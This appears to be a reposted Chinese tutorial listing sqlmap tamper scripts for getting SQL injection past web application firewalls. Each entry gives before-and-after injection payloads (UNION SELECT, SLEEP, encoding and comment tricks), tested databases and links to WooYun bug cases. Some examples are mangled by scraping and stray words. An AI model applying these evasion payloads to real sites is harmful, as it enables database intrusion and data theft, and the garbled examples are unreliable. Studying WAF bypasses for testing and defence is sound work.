使用sqlmap中tamper腳本繞過waf

使用sqlmap中tamper腳本繞過waf

 

0x00 背景


sqlmap中的tamper腳原本對目標進行更高效的攻擊。html

因爲烏雲知識庫少了sqlmap-tamper 收集一下,方便學習。 根據sqlmap中的tamper腳本能夠學習過繞過一些技巧。 我收集在找相關的案例做爲可分析什麼環境使用什麼tamper腳本。 小學生畢業的我,着能偷偷說一下多作一些收集對吸取知識很快。mysql

0x01 start


腳本名:apostrophemask.py


做用:用utf8代替引號sql

1
Example: ( "1 AND '1'='1" ) '1 AND %EF%BC%871%EF%BC%87=%EF%BC%871'

Tested against: all數據庫

腳本名:equaltolike.py


做用:like 代替等號app

1
2
3
4
5
Example:
 
*   Input: SELECT * FROM users WHERE id=1
 
*   Output : SELECT * FROM users WHERE id LIKE 1

案例一: http://wooyun.org/bugs/wooyun-2010-087296dom

案例二: http://wooyun.org/bugs/wooyun-2010-074790post

案例三:http://wooyun.org/bugs/wooyun-2010-072489學習

腳本名:space2dash.pyui


做用:繞過過濾‘=’ 替換空格字符(」),(’ – ‘)後跟一個破折號註釋,一個隨機字符串和一個新行(’ n’)編碼

1
Example: ( '1 AND 9227=9227' ) '1--nVNaVoPYeva%0AAND--ngNvzqu%0A9227=9227'

Tested against: * MSSQL * SQLite

案例一:http://wooyun.org/bugs/wooyun-2010-062878

腳本名:greatest.py


做用:繞過過濾’>’ ,用GREATEST替換大於號。

1
Example: ( '1 AND A > B' ) '1 AND GREATEST(A,B+1)=A' Tested against: * MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

腳本名:space2hash.py


做用:空格替換爲#號 隨機字符串 以及換行符

1
2
3
4
Example:
 
*   Input: 1 AND 9227=9227
*   Output : 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement:

  • MySQL Tested against:

  • MySQL 4.0, 5.0

參考:法克的一篇文章

腳本名:apostrophenullencode.py


做用:繞過過濾雙引號,替換字符和雙引號。

1
Example: tamper( "1 AND '1'='1" ) '1 AND %00%271%00%27=%00%271'

Tested against:

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

腳本名:halfversionedmorekeywords.py


做用:當數據庫爲mysql時繞過防火牆,每一個關鍵字以前添加mysql版本評論

1
2
3
Example:
 
( "value' UNION ALL SELECT CONCAT(CHAR(58,107,112,113,58),IFNULL(CAST(CURRENT_USER() AS CHAR),CHAR(32)),CHAR(58,97,110,121,58)), NULL, NULL# AND 'QDWa'='QDWa" ) "value'/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)),/*!0NULL,/*!0NULL#/*!0AND 'QDWa'='QDWa"

Requirement:

  • MySQL < 5.1

Tested against:

  • MySQL 4.0.18, 5.0.22

腳本名:space2morehash.py


做用:空格替換爲 #號 以及更多隨機字符串 換行符

1
2
3
4
5
Example:
 
* Input: 1 AND 9227=9227
 
* Output : 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

Requirement: * MySQL >= 5.1.13 Tested

against: * MySQL 5.1.41

案例一:91ri一篇文章

腳本名:appendnullbyte.py


做用:在有效負荷結束位置加載零字節字符編碼

1
Example: ( '1 AND 1=1' ) '1 AND 1=1%00'

Requirement:

  • Microsoft Access

腳本名:ifnull2ifisnull.py


做用:繞過對 IFNULL 過濾。 替換相似’IFNULL(A, B)’爲’IF(ISNULL(A), B, A)’

1
2
3
Example:
 
( 'IFNULL(1, 2)' ) 'IF(ISNULL(1),2,1)'

Requirement:

  • MySQL

  • SQLite (possibly)

  • SAP MaxDB (possibly)

Tested against:

  • MySQL 5.0 and 5.5

腳本名:space2mssqlblank.py(mssql)


做用:空格替換爲其它空符號

Example: * Input: SELECT id FROM users * Output: SELECT%08id%02FROM%0Fusers

Requirement: * Microsoft SQL Server Tested against: * Microsoft SQL Server 2000 * Microsoft SQL Server 2005

ASCII table:


案例一: wooyun.org/bugs/wooyun-2010-062878

腳本名:base64encode.py


做用:用base64編碼替換 Example: ("1' AND SLEEP(5)#") 'MScgQU5EIFNMRUVQKDUpIw==' Requirement: all

案例一: http://wooyun.org/bugs/wooyun-2010-060071

案例二: http://wooyun.org/bugs/wooyun-2010-021062

案例三: http://wooyun.org/bugs/wooyun-2010-043229

腳本名:space2mssqlhash.py


做用:替換空格

1
Example: ( '1 AND 9227=9227' ) '1%23%0AAND%23%0A9227=9227' Requirement: * MSSQL * MySQL

腳本名:modsecurityversioned.py


做用:過濾空格,包含完整的查詢版本註釋

1
Example: ( '1 AND 2>1--' ) '1 /*!30874AND 2>1*/--'

Requirement: * MySQL

Tested against:

  • MySQL 5.0

腳本名:space2mysqlblank.py


做用:空格替換其它空白符號(mysql)

1
2
3
4
5
Example:
 
* Input: SELECT id FROM users
 
* Output : SELECT %0Bid%0BFROM%A0users

Requirement:

  • MySQL

Tested against:

  • MySQL 5.1

案例一:wooyun.org/bugs/wooyun-2010-076735

腳本名:between.py


做用:用between替換大於號(>)

1
Example: ( '1 AND A > B--' ) '1 AND A NOT BETWEEN 0 AND B--'

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5 * Oracle 10g * PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-068815

腳本名:space2mysqldash.py


做用:替換空格字符(」)(’ – ‘)後跟一個破折號註釋一個新行(’ n’)

注:以前有個mssql的 這個是mysql的

1
Example: ( '1 AND 9227=9227' ) '1--%0AAND--%0A9227=9227'

Requirement:

  • MySQL

  • MSSQL

腳本名:multiplespaces.py


做用:圍繞SQL關鍵字添加多個空格

1
Example: ( '1 UNION SELECT foobar' ) '1 UNION SELECT foobar'

Tested against: all

案例一: wooyun.org/bugs/wooyun-2010-072489

腳本名:space2plus.py


做用:用+替換空格

1
Example: ( 'SELECT id FROM users' ) 'SELECT+id+FROM+users' Tested against: all

腳本名:bluecoat.py


做用:代替空格字符後與一個有效的隨機空白字符的SQL語句。 而後替換=爲like

1
Example: ( 'SELECT id FROM users where id = 1' ) 'SELECT%09id FROM users where id LIKE 1'

Tested against:

  • MySQL 5.1, SGOS

腳本名:nonrecursivereplacement.py


雙重查詢語句。取代predefined SQL關鍵字with表示 suitable for替代(例如 .replace(「SELECT」、」」)) filters

1
Example: ( '1 UNION SELECT 2--' ) '1 UNIOUNIONN SELESELECTCT 2--' Tested against: all

腳本名:space2randomblank.py


做用:代替空格字符(「」)從一個隨機的空白字符可選字符的有效集

1
Example: ( 'SELECT id FROM users' ) 'SELECT%0Did%0DFROM%0Ausers'

Tested against: all

腳本名:sp_password.py


做用:追加sp_password’從DBMS日誌的自動模糊處理的有效載荷的末尾

1
Example: ( '1 AND 9227=9227-- ' ) '1 AND 9227=9227-- sp\_password' Requirement: * MSSQL

腳本名:chardoubleencode.py


做用: 雙url編碼(不處理以編碼的)

1
2
3
4
5
Example:
 
* Input: SELECT FIELD FROM %20TABLE
 
* Output : %2553%2545%254c%2545%2543%2554%2520%2546%2549%2545%254c%2544%2520%2546%2552%254f%254d%2520%2554%2541%2542%254c%2545

腳本名:unionalltounion.py


做用:替換UNION ALL SELECT UNION SELECT

Example: ('-1 UNION ALL SELECT') '-1 UNION SELECT'

Requirement: all

腳本名:charencode.py


做用:url編碼

1
2
3
4
5
Example:
 
*   Input: SELECT FIELD FROM %20TABLE
 
*   Output : %53%45%4c%45%43%54%20%46%49%45%4c%44%20%46%52%4f%4d%20%54%41%42%4c%45

tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

腳本名:randomcase.py


做用:隨機大小寫 Example:

  • Input: INSERT
  • Output: InsERt

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

腳本名:unmagicquotes.py


做用:寬字符繞過 GPC addslashes

1
2
3
4
5
Example:
 
* Input: 1′ AND 1=1
 
* Output : 1%bf%27 AND 1=1–%20

腳本名:randomcomments.py


做用:用/**/分割sql關鍵字

1
2
3
Example:
 
INSERT ’ becomes ‘ IN //S//ERT’

腳本名:charunicodeencode.py


做用:字符串 unicode 編碼

1
2
3
4
5
Example:
 
* Input: SELECT FIELD%20FROM TABLE
 
* Output : %u0053%u0045%u004c%u0045%u0043%u0054%u0020%u0046%u0049%u0045%u004c%u0044%u0020%u0046%u0052%u004f%u004d%u0020%u0054%u0041%u0042%u004c%u0045′

Requirement:

  • ASP

  • ASP.NET

Tested against:

  • Microsoft SQL Server 2000

  • Microsoft SQL Server 2005

  • MySQL 5.1.56

  • PostgreSQL 9.0.3

案例一: wooyun.org/bugs/wooyun-2010-074261

腳本名:securesphere.py


做用:追加特製的字符串

1
Example: ( '1 AND 1=1' ) "1 AND 1=1 and '0having'='0having'"

Tested against: all

腳本名:versionedmorekeywords.py


做用:註釋繞過

1
2
3
4
5
Example:
 
* Input: 1 UNION ALL SELECT NULL , NULL , CONCAT( CHAR (58,122,114,115,58),IFNULL( CAST ( CURRENT_USER () AS CHAR ), CHAR (32)), CHAR (58,115,114,121,58))#
 
* Output : 1/*! UNION **! ALL **! SELECT **! NULL */,/*! NULL */,/*!CONCAT*/(/*! CHAR */(58,122,114,115,58),/*!IFNULL*/( CAST (/*! CURRENT_USER */()/*! AS **! CHAR */),/*! CHAR */(32)),/*! CHAR */(58,115,114,121,58))#

Requirement:

  • MySQL >= 5.1.13

腳本名:space2comment.py


做用:Replaces space character (‘ ‘) with comments ‘/**/’

1
2
3
4
5
Example:
 
* Input: SELECT id FROM users
 
* Output : SELECT //id// FROM /**/users

Tested against:

  • Microsoft SQL Server 2005

  • MySQL 4, 5.0 and 5.5

  • Oracle 10g

  • PostgreSQL 8.3, 8.4, 9.0

案例一:wooyun.org/bugs/wooyun-2010-046496

腳本名:halfversionedmorekeywords.py


做用:關鍵字前加註釋

1
2
3
4
5
Example:
 
* Input: value’ UNION ALL SELECT CONCAT( CHAR (58,107,112,113,58),IFNULL( CAST ( CURRENT_USER () AS CHAR ), CHAR (32)), CHAR (58,97,110,121,58)), NULL , NULL # AND ‘QDWa’= 'QDWa
 
* Output: value’/*!0UNION/*!0ALL/*!0SELECT/*!0CONCAT(/*!0CHAR(58,107,112,113,58),/*!0IFNULL(CAST(/*!0CURRENT_USER()/*!0AS/*!0CHAR),/*!0CHAR(32)),/*!0CHAR(58,97,110,121,58)), NULL, NULL#/*!0AND ‘QDWa’=' QDWa

Requirement:

  • MySQL < 5.1

Tested against:

  • MySQL 4.0.18, 5.0.22

收集於: http://www.91ri.org/7852.html http://www.91ri.org/7869.html http://www.91ri.org/7860.html

原文連接:http://drops.wooyun.org/tools/4760

相關文章
相關標籤/搜索